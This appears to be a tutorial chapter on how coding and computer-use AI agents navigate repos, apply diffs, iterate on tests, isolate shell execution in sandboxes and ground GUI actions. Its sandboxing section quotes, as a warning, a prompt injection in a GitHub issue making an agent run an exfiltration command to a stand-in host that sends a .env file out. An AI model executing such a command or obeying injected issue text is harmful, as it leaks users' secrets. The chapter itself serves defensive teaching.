Chapter 22 of 32 · ~22 min read & lab+80 XP
Chapter 22 · Agentic AI

Coding & Computer-Use Agents: Repo Navigation, Sandboxed Shells & GUI Action Loops

How autonomous SWE & Computer-Use agents actually work: AST/grep repo navigation, minimal unified diffs, Edit → Test → Patch feedback loops, MicroVM/gVisor sandbox isolation, and Vision + Accessibility-Tree GUI grounding!

What Is It?

Coding & Computer-Use Agents navigate repositories, edit files, execute tests inside isolated sandboxes, and iterate on compiler/test feedback until green.

Why Is It Required?

Code cannot be trusted by eyeballing it—connecting the agent to a real sandboxed shell and test runner provides objective ground-truth verification.

Everyday Analogy: A developer working inside a safe staging container where every edit is immediately checked by pytest before merging.
Why ML Engineers & Data Scientists Actually Need This

Coding & Computer-Use agents are the most commercially impactful agents on Earth — and also the most dangerous if you run LLM-generated bash commands on an unsandboxed host!

ML / AI Engineer

Building SWE agents requires mastering targeted diff editing (never rewriting 1,000-line files from scratch), sandbox security (Firecracker/E2B/gVisor), and test-driven verification.

Data Scientist

Autonomous data-analysis agents write and execute Python inside ephemeral sandboxes to clean datasets, fit models, and self-correct tracebacks automatically.

Interview & Debug Edge

Top 2026 AI Infrastructure interview question: 'How do you safely execute untrusted LLM-generated code and bash commands at scale, and why do diff edits beat full-file rewrites?'

Step 0 · Test Your Gut Before Any Math!

Why do production coding agents use targeted edit_file(target, replacement) / unified diff tools instead of rewriting whole files?

What You Will Master in This Chapter
  • Architect a high-precision SWE / Coding Agent loop: Locate (rg/AST) → Minimal Diff Edit → Run Tests → Observe stderr → Patch
  • Explain why verifiable compiler & test feedback makes coding the highest-leverage domain for autonomous agents
  • Design Defense-in-Depth Sandbox Isolation (ephemeral MicroVMs/gVisor, read-only mounts, no egress, CPU/RAM caps) before running LLM-generated shell commands
  • Contrast pixel-only GUI clicking with Hybrid Screenshot + Accessibility Tree (DOM) grounding in Computer-Use agents
Plain-English Symbol Decoder · Click Any Symbol Before We Begin
1 / 3
Locate→Diff→Test→Patch\text{Locate} \to \text{Diff} \to \text{Test} \to \text{Patch}Say aloud:“Locate, Diff, Test, Patch feedback loop”
Plain-English Meaning
The core closed-loop architecture of SWE coding agents: ground every code change against real compiler errors and unit-test failures.
Everyday Example
rg 'backoff' → patch retry.py → pytest fails on negative jitter → clamp max(0.0, ...) → green ✓.
Story-First Intuition, Visual Diagrams & Interactive Walkthroughs

A great Coding Agent works like a disciplined senior engineer inside a disposable cleanroom: search for the exact function with ripgrep, change 3 lines with a surgical diff, run pytest inside an isolated MicroVM, read the traceback, and iterate until every test turns green!

1. Why Coding Agents Excel: Grounded Verifiers

SWE / Coding Agent Feedback Loop: Locate → Edit → Test → Patch1. Locategrep / AST map2. Edit DiffMinimal patch3. Run Testspytest / tsc4. VerifyAll green ✓Test failed? Feed stderr stack trace back into Edit Diff!
Coding Agents thrive on verifiable feedback loops: Locate Files → Edit Patch → Run Test Suite (pytest) → Observe Stack Trace → Refine Patch until tests pass!

Open-ended writing agents have no ground-truth oracle — they can hallucinate confidently. Coding Agents have a superpower: compilers, type-checkers, and unit tests provide instant, deterministic, zero-hallucination feedback!

The canonical SWE agent loop is:

  1. Locate: Use ripgrep, symbol search, and AST repo maps to read only relevant line ranges.
  2. Edit: Emit minimal unified diffs or exact search-and-replace blocks (never full-file rewrites!).
  3. Test: Run pytest, tsc, or targeted unit tests inside a sandbox.
  4. Patch: Feed truncated stderr back into the next turn until tests pass or max_steps is reached.
Formula Anatomy · Click Any Colored Piece to Decode It
Closed-Loop Verification Advantage in Coding Agents

Click each stage to see why objective test feedback turns a 45% one-shot model into an 80%+ SWE solver.

Zero-Shot Single Pass

Probability that an LLM nails a complex multi-file bug fix on the very first attempt with zero execution feedback.

In our example: Subtle import or edge-case bugs slip through
Put it together with real numbers: Always give a coding agent a fast, deterministic verifier (tsc --noEmit, pytest -q, linter) inside a sandbox — never judge code purely by reading it!
Walk Through With Me · Interactive Worked Example

Inside One Autonomous Bug-Fix Cycle

A user files a bug: 'retry_backoff() occasionally sleeps for negative seconds and throws ValueError.'

11. Fast Repo Navigation (`rg` / Repo Map)Step 1 / 4

Instead of stuffing 200 files into context, the agent runs rg 'def retry_backoff' and reads only lines 20–65 of src/retry.py plus tests/test_retry.py.

Teacher's Note: Notice how each transition keeps state explicit and verifiable!

2. Defense-in-Depth Sandbox Isolation

Defense-in-Depth Sandbox Isolation for Code & Shell ExecutionHost Machine (Protected: No .env / SSH keys mounted)MicroVM / gVisor Kernel Boundary (Ephemeral · No Egress · CPU/RAM Cap)Agent Shell Workspace: /repo (Disposable Snapshot · Destroyed on Exit)
Defense-in-Depth for Shell/Code Execution: NEVER run LLM-generated commands on the host OS — isolate inside ephemeral MicroVMs (Firecracker/gVisor) with read-only mounts and network egress blocks!

Running LLM-generated bash or python directly on your production host is a critical remote-code-execution vulnerability (one indirect prompt injection in a GitHub issue can run curl evil.com -d @.env).

Production sandboxes enforce four isolation layers:

  1. Kernel boundary: Ephemeral Firecracker MicroVMs or gVisor containers (not raw host processes!).
  2. Zero secrets mounted: Never mount host .env, SSH keys, or cloud metadata endpoints (169.254.169.254).
  3. Network egress block: Default-deny outbound network (or strict domain allowlist).
  4. Resource caps + TTL: Hard CPU, memory, disk, and 30–60s execution timeouts; destroy the VM immediately on exit.
Animated Mini-Lab • 4.4

Code-Execution Sandbox Isolation Inspector

Cold Boot: 260ms
HARDENED — Dedicated Firecracker/gVisor kernel + ephemeral FS ✓
Pause & Check · Quick Intuition Pulse

Why is running an agent's shell commands inside a standard Docker container with --net=host and mounted ~/.ssh still unsafe?

3. Computer-Use Agents: Vision + Accessibility-Tree Loops

Computer-Use Vision-Action Loop: Screenshot + DOM → Grounded Click1. Capture UIPNG + A11y Tree2. VLM ReasonerTarget: Submit btn3. Act (x, y)click(642, 418)4. Verify StateWait & re-check
Computer-Use Agents operate a Vision-Action Loop: capture Screenshot + Accessibility Tree → predict grounded (x, y) click/type action → wait for UI settle → verify new screen state!

When no API or CLI exists (legacy ERP software, complex web apps), Computer-Use Agents operate the GUI directly: capture Screenshot PNG + Accessibility/DOM Tree, predict grounded actions (click(x, y), type(text)), wait for UI settle, and verify the new screen state.

Key Engineering Tip: Always pair screenshots with the DOM / Accessibility Tree when available, and put Human-in-the-Loop approval before irreversible GUI clicks (Send Email, Submit Payment, Delete Account)!

“Wait, I'm Confused...” · Teacher Office Hours Q&A

The exact honest questions almost every beginner wonders — answered in plain English without hiding behind jargon.

Without a loop guardrail (Module 1.3), the agent repeats the same failed patch. Detect repeated identical test failures and force either a broader file read, a strategy reset, or human escalation.

Interactive Visual Lab
Lab Challenge: Watch the 60 FPS Coding Agent Edit → Test → Patch loop reach green tests.
Interactive Animation • 4.4 Deep Lab

Sandboxed Coding Agent: Edit → Test → Observe → Patch Loop

Real coding agents ground every edit against compiler and unit-test feedback inside an isolated sandbox.

LOCATE
[LOCATE]rg 'retry_backoff' → found src/retry.py:42
[EDIT #1]Apply unified diff (+jitter clamping)
[PYTEST #1]✗ FAILED test_zero_delay (AssertionError: got -0.1)
[PATCH #2]Fix max(0.0, delay + jitter) inside MicroVM sandbox
[PYTEST #2]✓ 24 passed in 0.42s — ready for PR!
0%
LOCATE
Intuition Takeaway: Coding & Computer-Use Agents pair targeted diff edits / grounded UI actions with deterministic verification loops inside ephemeral MicroVM/gVisor sandboxes (no host secrets, blocked egress, hard resource caps).
Where This Powers Real ML, Deep Learning & Generative AI

Autonomous SWE Bug-Fix & PR Agents

Navigates large repos via rg/AST, applies minimal diffs, and iterates against pytest/tsc inside ephemeral sandboxes.

Sandboxed Code-Interpreter & Legacy GUI Automation

Executes untrusted Python analytics safely in Firecracker/gVisor MicroVMs or drives legacy web/desktop UIs via Screenshot + DOM loops.

Production NumPy & PyTorch Code Patterns
import subprocess
import sys

# Sandboxed Edit -> Test -> Observe Loop with Timeout Isolation
def run_in_sandbox(code: str, timeout_s: float = 2.0) -> dict:
    try:
        proc = subprocess.run(
            [sys.executable, "-I", "-c", code],  # isolated Python subprocess
            capture_output=True, text=True, timeout=timeout_s,
        )
        return {"exit_code": proc.returncode, "stdout": proc.stdout.strip(), "stderr": proc.stderr.strip()}
    except subprocess.TimeoutExpired:
        return {"exit_code": -1, "stdout": "", "stderr": "Execution timed out"}

test_snippet = "def fib(n): return n if n < 2 else fib(n-1) + fib(n-2)\nassert fib(6) == 8\nprint('PASS')"
print(run_in_sandbox(test_snippet))
Common ML Interview Traps & Numerical Pitfalls
Trap #1: Dumping 50,000 lines of raw npm test logs straight into the LLM context window.
Best Practice: Truncate stdout/stderr to the failing test summary + last ~100 lines (or offload full logs to a scratchpad file!).
Trap #2: Treating plain Docker with default networking as a multi-tenant security boundary for LLM-generated code.
Best Practice: Use ephemeral MicroVMs (Firecracker) or gVisor + zero host secret mounts + default-deny network egress.
Chapter Mastery Check (+80 XP)
Score: 0 / 2
1Which combination provides defense-in-depth for executing untrusted LLM-generated shell commands?
2Why do SWE agents prefer targeted diff/patch tools over full-file rewrites?

Apply What You Learned — Solve Matching Coding Problems